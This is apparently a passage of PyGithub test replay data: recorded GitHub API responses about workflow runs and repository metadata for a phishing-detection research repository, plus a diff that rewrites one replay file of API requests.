repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":256899858,"node_id":"MDExOldvcmtmbG93UnVuMjU2ODk5ODU4","head_branch":"docstring_fix","head_sha":"31154cef1d82aa13bfe61caa76cffee753901a17","run_number":210,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1732356,"check_suite_id":1198854303,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMTk4ODU0MzAz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/256899858","pull_requests":[],"created_at":"2020-09-16T04:57:20Z","updated_at":"2020-09-16T04:59:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1198854303","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"31154cef1d82aa13bfe61caa76cffee753901a17","tree_id":"c98a0b11f215fed937967f4d7d51f6ee0d135eff","message":"Updated changelog","timestamp":"2020-09-16T04:57:11Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":248227871,"node_id":"MDExOldvcmtmbG93UnVuMjQ4MjI3ODcx","head_branch":"l_tree","head_sha":"bf464bfed6249e2b950c2e58f439198228185703","run_number":186,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1732356,"check_suite_id":1172195719,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMTcyMTk1NzE5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/248227871","pull_requests":[],"created_at":"2020-09-10T14:43:20Z","updated_at":"2020-09-10T14:46:36Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1172195719","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/248227871/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"bf464bfed6249e2b950c2e58f439198228185703","tree_id":"8fdfaa09825f6e8e99e7799c30ad15778bb87e55","message":"Merge branch 'master' into l_tree","timestamp":"2020-09-10T14:43:16Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} diff --git a/tests/ReplayData/PullRequest1684.setUp.txt b/tests/ReplayData/PullRequest1684.setUp.txt index 3b3ae7471e..afa357d3b0 100644 --- a/tests/ReplayData/PullRequest1684.setUp.txt +++ b/tests/ReplayData/PullRequest1684.setUp.txt @@ -1,22 +1,21 @@ -https -GET -api.github.com -None -/users/ReDASers -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e03ba66cb434ea917b2213d2e622f165"'), ('Last-Modified', 'Sun, 23 Aug 2020 16:44:50 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4923'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '77'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17A:56E7:26E44F:7DEC16:5F56AD8E')] -{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"created_at":"2020-06-17T16:24:55Z","updated_at":"2020-08-23T16:44:50Z"} - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7a5cc4812eca7f648163b812ab640780"'), ('Last-Modified', 'Mon, 07 Sep 2020 20:43:44 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4922'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '78'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17B:1CD4:39BA46:AA1973:5F56AD8F')] -{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2020-09-07T20:43:44Z","pushed_at":"2020-09-07T20:43:41Z","git_url":"git://github.com/ReDASers/Phishing-Detection.git","ssh_url":"git@github.com:ReDASers/Phishing-Detection.git","clone_url":"https://github.com/ReDASers/Phishing-Detection.git","svn_url":"https://github.com/ReDASers/Phishing-Detection","homepage":"","size":23564,"stargazers_count":1,"watchers_count":1,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":10,"license":null,"forks":1,"open_issues":10,"watchers":1,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABZLTTB3PDURD2NVIUHG5KC7K2XLW","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":1,"subscribers_count":2} - +https +GET +api.github.com +None +/users/ReDASers +{'Authorization': 